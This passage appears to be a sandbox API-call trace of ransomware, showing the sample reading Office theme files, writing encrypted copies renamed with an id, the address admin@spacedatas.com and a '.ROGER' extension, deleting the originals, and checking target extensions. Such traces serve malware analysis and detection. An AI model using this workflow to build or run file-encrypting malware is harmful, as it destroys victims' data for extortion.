0x3a0 [0048.289] GetLastError () returned 0x0 [0048.289] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0xed34, lpOverlapped=0x0) returned 1 [0048.291] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xed40, lpOverlapped=0x0) returned 1 [0048.293] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.293] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.293] SetEndOfFile (hFile=0x3a0) returned 1 [0048.293] CloseHandle (hObject=0x3a0) returned 1 [0048.293] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.293] SetEndOfFile (hFile=0x36c) returned 1 [0048.294] CloseHandle (hObject=0x36c) returned 1 [0048.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.294] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0048.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.295] lstrlenW (lpString=".doc") returned 4 [0048.295] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.295] lstrlenW (lpString=".docx") returned 5 [0048.295] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.295] lstrlenW (lpString=".pdf") returned 4 [0048.295] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.295] lstrlenW (lpString=".xls") returned 4 [0048.295] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.295] lstrlenW (lpString=".xlsx") returned 5 [0048.295] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.295] lstrlenW (lpString=".ppt") returned 4 [0048.295] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.295] lstrlenW (lpString=".zip") returned 4 [0048.295] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.295] lstrlenW (lpString=".rar") returned 4 [0048.295] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.295] lstrlenW (lpString=".bz2") returned 4 [0048.295] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.295] lstrlenW (lpString=".7z") returned 3 [0048.295] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.295] lstrlenW (lpString=".dbf") returned 4 [0048.295] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.295] lstrlenW (lpString=".1cd") returned 4 [0048.295] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.295] lstrlenW (lpString=".jpg") returned 4 [0048.295] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.295] lstrlenW (lpString=".doc") returned 4 [0048.296] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.296] lstrlenW (lpString=".docx") returned 5 [0048.296] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.296] lstrlenW (lpString=".pdf") returned 4 [0048.296] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.296] lstrlenW (lpString=".xls") returned 4 [0048.296] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.296] lstrlenW (lpString=".xlsx") returned 5 [0048.296] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.296] lstrlenW (lpString=".ppt") returned 4 [0048.296] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.296] lstrlenW (lpString=".zip") returned 4 [0048.296] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.296] lstrlenW (lpString=".rar") returned 4 [0048.296] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.296] lstrlenW (lpString=".bz2") returned 4 [0048.296] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.296] lstrlenW (lpString=".7z") returned 3 [0048.296] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.296] lstrlenW (lpString=".dbf") returned 4 [0048.296] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.296] lstrlenW (lpString=".1cd") returned 4 [0048.296] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.296] lstrlenW (lpString=".jpg") returned 4 [0048.296] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.297] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.297] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.297] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=2552) returned 1 [0048.297] CloseHandle (hObject=0x36c) returned 1 [0048.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0048.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.297] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.297] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0048.473] GetLastError () returned 0x0 [0048.473] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0048.476] WriteFile (in: hFile=0x3e8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0048.477] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.477] WriteFile (in: hFile=0x3e8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.477] SetEndOfFile (hFile=0x3e8) returned 1 [0048.478] CloseHandle (hObject=0x3e8) returned 1 [0048.478] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.478] SetEndOfFile (hFile=0x36c) returned 1 [0048.478] CloseHandle (hObject=0x36c) returned 1 [0048.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.479] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0048.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.479] lstrlenW (lpString=".doc") returned 4 [0048.479] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.479] lstrlenW (lpString=".docx") returned 5 [0048.479] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.479] lstrlenW (lpString=".pdf") returned 4 [0048.479] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.479] lstrlenW (lpString=".xls") returned 4 [0048.479] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.479] lstrlenW (lpString=".xlsx") returned 5 [0048.479] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.479] lstrlenW (lpString=".ppt") returned 4 [0048.479] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.479] lstrlenW (lpString=".zip") returned 4 [0048.479] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.480] lstrlenW (lpString=".rar") returned 4 [0048.480] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.480] lstrlenW (lpString=".bz2") returned 4 [0048.480] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.480] lstrlenW (lpString=".7z") returned 3 [0048.480] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.480] lstrlenW (lpString=".dbf") returned 4 [0048.480] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.480] lstrlenW (lpString=".1cd") returned 4 [0048.480] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.480] lstrlenW (lpString=".jpg") returned 4 [0048.480] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.480] lstrlenW (lpString=".doc") returned 4 [0048.480] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.480] lstrlenW (lpString=".docx") returned 5 [0048.480] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.480] lstrlenW (lpString=".pdf") returned 4 [0048.480] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.480] lstrlenW (lpString=".xls") returned 4 [0048.480] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.480] lstrlenW (lpString=".xlsx") returned 5 [0048.480] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.480] lstrlenW (lpString=".ppt") returned 4 [0048.480] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.481] lstrlenW (lpString=".zip") returned 4 [0048.481] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.481] lstrlenW (lpString=".rar") returned 4 [0048.481] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.481] lstrlenW (lpString=".bz2") returned 4 [0048.481] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.481] lstrlenW (lpString=".7z") returned 3 [0048.481] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.481] lstrlenW (lpString=".dbf") returned 4 [0048.481] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.481] lstrlenW (lpString=".1cd") returned 4 [0048.481] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0048.481] lstrlenW (lpString=".jpg") returned 4 [0048.481] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.481] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.481] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.482] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1379) returned 1 [0048.482] CloseHandle (hObject=0x36c) returned 1 [0048.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 0x20 [0048.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.482] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.482] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0048.484] GetLastError () returned 0x0 [0048.484] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x563, lpOverlapped=0x0) returned 1 [0048.485] WriteFile (in: hFile=0x3e8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x570, lpOverlapped=0x0) returned 1 [0048.486] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.486] WriteFile (in: hFile=0x3e8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.486] SetEndOfFile (hFile=0x3e8) returned 1 [0048.486] CloseHandle (hObject=0x3e8) returned 1 [0048.486] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.486] SetEndOfFile (hFile=0x36c) returned 1 [0048.487] CloseHandle (hObject=0x36c) returned 1 [0048.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.487] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif")) returned 1 [0048.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0048.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0048.487] lstrlenW (lpString=".doc") returned 4 [0048.488] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.488] lstrlenW (lpString=".docx") returned 5 [0048.488] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.488] lstrlenW (lpString=".pdf") returned 4 [0048.488] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.488] lstrlenW (lpString=".xls") returned 4 [0048.488] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.488] lstrlenW (lpString=".xlsx") returned 5 [0048.488] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.488] lstrlenW (lpString=".ppt") returned 4 [0048.488] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0048.488] lstrlenW (lpString=".zip") returned 4 [0048.488] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.488] lstrlenW (lpString=".rar") returned 4 [0048.488] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.488] lstrlenW (lpString=".bz2") returned 4 [0048.488] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.488] lstrlenW (lpString=".7z") returned 3 [0048.488] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0048.488] lstrlenW (lpString=".dbf") returned 4 [0048.488] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0048.488] lstrlenW (lpString=".1cd") returned 4 [0048.488] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0048.488] lstrlenW (lpString=".jpg") returned 4 [0048.488] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0048.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0048.489] lstrlenW (lpString=".doc") returned 4 [0048.489] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.489] lstrlenW (lpString=".docx") returned 5 [0048.489] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.489] lstrlenW (lpString=".pdf") returned 4 [0048.489] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.489] lstrlenW (lpString=".xls") returned 4 [0048.489] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.489] lstrlenW (lpString=".xlsx") returned 5 [0048.489] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.489] lstrlenW (lpString=".ppt") returned 4 [0048.489] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0048.489] lstrlenW (lpString=".zip") returned 4 [0048.489] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.489] lstrlenW (lpString=".rar") returned 4 [0048.489] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.489] lstrlenW (lpString=".bz2") returned 4 [0048.489] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.489] lstrlenW (lpString=".7z") returned 3 [0048.489] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0048.489] lstrlenW (lpString=".dbf") returned 4 [0048.490] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0048.490] lstrlenW (lpString=".1cd") returned 4 [0048.490] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF") returned 73 [0048.490] lstrlenW (lpString=".jpg") returned 4 [0048.490] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.490] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.490] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.490] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=48115) returned 1 [0048.490] CloseHandle (hObject=0x36c) returned 1 [0048.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0048.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.491] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.491] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0048.491] GetLastError () returned 0x0 [0048.491] ReadFile (in: 